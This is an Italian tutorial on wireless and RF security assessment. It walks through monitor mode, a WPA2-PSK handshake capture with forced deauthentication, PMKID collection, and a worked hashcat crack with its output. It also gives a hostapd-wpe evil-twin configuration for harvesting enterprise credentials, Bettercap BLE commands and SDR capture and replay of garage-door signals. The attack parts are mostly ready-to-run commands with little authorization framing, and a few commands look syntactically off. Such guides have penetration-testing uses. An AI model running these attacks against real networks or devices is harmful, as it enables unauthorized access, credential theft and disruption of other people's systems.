Valutazione della Sicurezza Wireless e Analisi RF
Struttura del Frame 802.11 ed Evoluzione della Crittografia
Le reti wireless operano utilizzando frame IEEE 802.11 che differiscono fondamentalmente da Ethernet. I frame di gestione (beacon, probe, autenticazione, associazione) operano non crittografati e non autenticati—un difetto di progettazione che abilita numerosi attacchi. I frame dati trasportano il traffico utile, mentre i frame di controllo (ACK, RTS/CTS) coordinano l'accesso al mezzo.
WEP (Wired Equivalent Privacy) si basava su RC4 con un vettore di inizializzazione (IV) di 24 bit, producendo riutilizzo del keystream che portava a attacchi statistici pratici. WPA/WPA2 hanno introdotto TKIP (ora deprecato) e AES-CCMP, utilizzando un four-way handshake per derivare le chiavi di sessione dalla Pairwise Master Key (PMK). WPA3 sostituisce l'autenticazione PSK con Simultaneous Authentication of Equals (SAE), uno scambio di chiavi autenticato da password resistente agli attacchi di dizionario offline. SAE utilizza un protocollo di commit-exchange in cui entrambe le parti derivano segreti condivisi senza trasmettere l'equivalente della password. Gli attacchi pratici attuali contro WPA3-SAE rimangono limitati a leak side-channel nelle implementazioni iniziali (vulnerabilità Dragonblood) e attacchi di downgrade in cui la modalità WPA3-Transition permette connessioni WPA2.
Requisiti Hardware: Chipset Adattatori e Considerazioni sui Driver
Una valutazione wireless di successo richiede hardware compatibile. La modalità monitor e l'iniezione di frame richiedono supporto esplicito del driver, spesso assente negli adattatori consumer.
| Chipset | Modalità Monitor | Iniezione | Note |
|---|---|---|---|
| RTL8187L (Realtek) | Sì | Sì | Legacy, stabile, limitato a 802.11g |
| AR9271 (Atheros) | Sì | Sì | Ottimo supporto Linux tramite ath9k_htc |
| MT76xx (MediaTek) | Sì | Parziale | Chip AC moderni; modalità monitor tramite driver mt76 |
| RTL88XXAU (Realtek) | Condizionale | Condizionale | Richiede driver out-of-tree aircrack-ng/rtl8812au |
Verifica le capacità prima del deployment:
# Controlla driver caricato e capacità interfaccia
iw list | grep -A 20 "Supported interface modes"
iw list | grep -A 10 "packet injection"
# Test iniezione con aireplay-ng
sudo aireplay-ng -9 wlan0mon
Gli enclosure USB3 con connettori antenna esterni (Alfa AWUS036ACH con MT7612U, Alfa AWUS036NHA con AR9271) offrono portata e flessibilità superiori.
Suite Aircrack-ng: Flusso di Lavoro per Cattura e Analisi
La suite Aircrack-ng rimane il toolkit fondamentale. Una tipica valutazione WPA2-PSK procede attraverso preparazione interfaccia, identificazione target, cattura handshake e cracking offline.
Abilita modalità monitor:
# Termina processi interferenti
sudo airmon-ng check kill
# Crea interfaccia monitor
sudo airmon-ng start wlan0
# L'interfaccia risultante è tipicamente wlan0mon
Scopri target e cattura handshake:
# Salto canale e elenca reti
sudo airodump-ng wlan0mon
# Blocca su canale target, cattura su file, deautentica client
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# In terminale separato: forza rinegoziazione handshake
sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon
Il four-way handshake comprende coppie di messaggi (M1-M4) tra autenticatore e supplicant. M1 contiene l'Authenticator Nonce (ANonce); M2 contiene il Supplicant Nonce (SNonce) e il MIC; M3 conferma l'installazione della chiave; M4 completa la negoziazione. Solo M1 e M2 (o M2 e M3) sono richiesti per derivare la PMK e validare i tentativi di passphrase. Airodump-ng indica la cattura del handshake con [ WPA handshake: AA:BB:CC:DD:EE:FF nel display in alto a destra.
Vettore di attacco PMKID (nessun client richiesto): Il RSN IE (Robust Security Network Information Element) nei frame EAPOL può contenere un PMKID calcolato come PMKID = HMAC-SHA1-128(PMK, "PMK Name" || MAC_AP || MAC_STA). Strumenti come hcxdumptool possono richiederlo e catturarlo direttamente:
# Installa hcxtools
sudo apt install hcxtools
# Raccolta PMKID passiva o attiva
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1
# Estrai per hashcat
hcxpcapngtool -o hash.txt -E essidlist pmkid.pcapng
Esempio Completo Svolto: Valutazione WPA2-PSK fino a Passphrase Craccata
Passo 1: Verifica adattatore e stabilisci modalità monitor
$ lsusb | grep -i wireless
Bus 001 Device 003: ID 0cf3:9271 Atheros Communications, Inc. AR9271 802.11n
$ sudo airmon-ng start wlan0
Interface wlan0mon was placed in monitor mode on channel 1
Passo 2: Identifica rete target
$ sudo airodump-ng wlan0mon
BSSID PWR Beacons CH ENC CIPHER AUTH ESSID
AA:BB:CC:11:22:33 -42 1254 6 WPA2 CCMP PSK CorpNet-Guest
Passo 3: Cattura handshake con deautenticazione mirata
# Terminale 1: cattura focalizzata
$ sudo airodump-ng -c 6 --bssid AA:BB:CC:11:22:33 -w corpnet_handshake wlan0mon
# Terminale 2: burst deauth (5 pacchetti, intervallo 2 secondi)
$ sudo aireplay-ng -0 5 -a AA:BB:CC:11:22:33 -c 00:11:22:33:44:55 wlan0mon
12:34:56 Waiting for beacon frame...
12:34:58 Sending 64 directed DeAuth...
12:35:01 Authentication from 00:11:22:33:44:55...
12:35:02 WPA handshake: AA:BB:CC:11:22:33 [Captured]
Passo 4: Verifica e converti cattura
$ aircrack-ng corpnet_handshake-01.cap
Reading packets, please wait...
# BSSID ESSID Encryption
1 AA:BB:CC:11:22:33 CorpNet-Guest WPA (1 handshake)
$ hcxpcapngtool -o corpnet_hash.hc22000 corpnet_handshake-01.cap
Passo 5: Attacco dizionario con regole su Hashcat
# Benchmark RTX 3070: ~650 kH/s WPA2
$ hashcat -m 22000 corpnet_hash.hc22000 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# Tempistica realistica per password 8 caratteri con regole complesse: 4-72 ore
# Per dimostrazione con password notoriamente debole:
$ echo "Summer2024!" > candidate.txt
$ hashcat -m 22000 corpnet_hash.hc22000 candidate.txt
corpnet_hash.hc22000:Summer2024!
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 22000 (WPA-PBKDF2-PMKID+EAPOL)
Time.Started.....: Thu Jan 15 14:32:01 2024 (0 secs)
Speed.#1.........: 63499 H/s
Recovered........: 1/1 (100.00%)
Attacchi WPA-Enterprise: Evil Twin con Hostapd-WPE
Le reti WPA-Enterprise (802.1X) che utilizzano PEAP o EAP-TTLS trasmettono materiale credenziale in TLS tunnelizzato. La patch Hostapd-WPE (Wireless Pwnage Edition) crea un server RADIUS rogue e un access point che raccoglie coppie challenge-response MSCHAPv2.
# Configura hostapd-wpe per SSID target "Corp-802.1X"
cat > hostapd-wpe.conf << 'EOF'
interface=wlan0mon
driver=nl80211
ssid=Corp-802.1X
channel=1
ieee8021x=1
eapol_version=2
wpa=2
wpa_key_mgmt=WPA-EAP
rsn_pairwise=CCMP
auth_server_addr=127.0.0.1
auth_server_port=1812
auth_server_shared_secret=secret
EOF
sudo hostapd-wpe hostapd-wpe.conf
I client che si connettono all'evil twin ricevono un certificato self-signed (ignorato dalla maggior parte dei supplicant con validazione debole). Hostapd-WPE registra il challenge-response MSCHAPv2, craccabile tramite asleap o john --format=netntlmv2 usando un wordlist, o sottoposto a servizi di cracking cloud per attacchi GPU-accelerated. Il certificate pinning e la rigida validazione CA sui supplicant client mitigano questo vettore.
Valutazione Bluetooth e BLE
BlueZ fornisce lo stack Bluetooth Linux. Per ricognizione e attacchi Low Energy (BLE), Bettercap offre capacità integrate:
# Scoperta dispositivi BLE
sudo bettercap -eval "ble.recon on; ble.show"
# Enumera servizi e caratteristiche
ble.enum AA:BB:CC:DD:EE:FF
# Leggi/scrivi caratteristiche per fuzzing
ble.write AA:BB:CC:DD:EE:FF 0x0021 deadbeef
Il modulo ble.recon di Bettercap scansiona passivamente i canali di annuncio (37, 38, 39) rilevando trasmissioni connettibili e non connettibili. Le vulnerabilità BLE comuni includono credenziali hardcoded nei valori delle caratteristiche, requisiti di pairing mancanti e token di autenticazione riproducibili.
Radio Definite da Software per Sicurezza RF più Ampia
Oltre 802.11, lo spettro elettromagnetico contiene numerosi protocolli non crittografati o debolmente protetti. Le chiavette RTL-SDR (20-40$, sintonizzatore R820T2/Rafael Micro) con GNU Radio abilitano la ricezione da 24 MHz a 1,7 GHz.
| Target | Frequenza | Protocollo Comune | Problemi di Sicurezza |
|---|---|---|---|
| Aprigarage | 300-433 MHz | Codice fisso, codice rolling | Attacchi replay, sequenze de Bruijn |
| Chiavi auto | 315/433/868 MHz | KeeLoq, HiTag2 | Attacchi rolljam, crittanalisi |
| Telemetria industriale | 900 MHz/2.4 GHz | WirelessHART, ISA100 | Nessuna crittografia, spoofing |
| Cercapersone | 150 MHz | POCSAG | Trasmissione messaggi non crittografati |
Esempio: Cattura e replay di un segnale garage a codice fisso:
# Registra segnale a 433,92 MHz
rtl_sdr -f 433920000 -s 2048000 -g 40 garage_door.raw
# Analizza in GNU Radio o replay direttamente
rtl_sdr -f 433920000 -s 2048000 -g 40 | \
rtl_fm -f 433920000 -s 200000 -g 40 - | \
sox -t raw -r 200000 -e signed -b 16 -c 1 - garage_door.wav
# Replay con SDR trasmittente (HackRF, Yard Stick One)
rfcat -r -f 433920000 -m ASK_OOK -s garage_door.raw
Le implementazioni a codice rolling (KeeLoq, HCS301) richiedono cattura sincronizzata e replay immediato prima che il trasmettitore legittimo incrementi il contatore. L'attacco Rolljam (Samy Kamkar) cattura il segnale, jamma il ricevitore e replay il codice catturato su richiesta mentre memorizza il codice successivo per uso futuro.
La valutazione SDR richiede consapevolezza normativa: la trasmissione in bande licenziate senza autorizzazione viola le normative sulle telecomunicazioni nella maggior parte delle giurisdizioni. La ricezione passiva generalmente rimane legale ma verifica le leggi locali prima del deployment.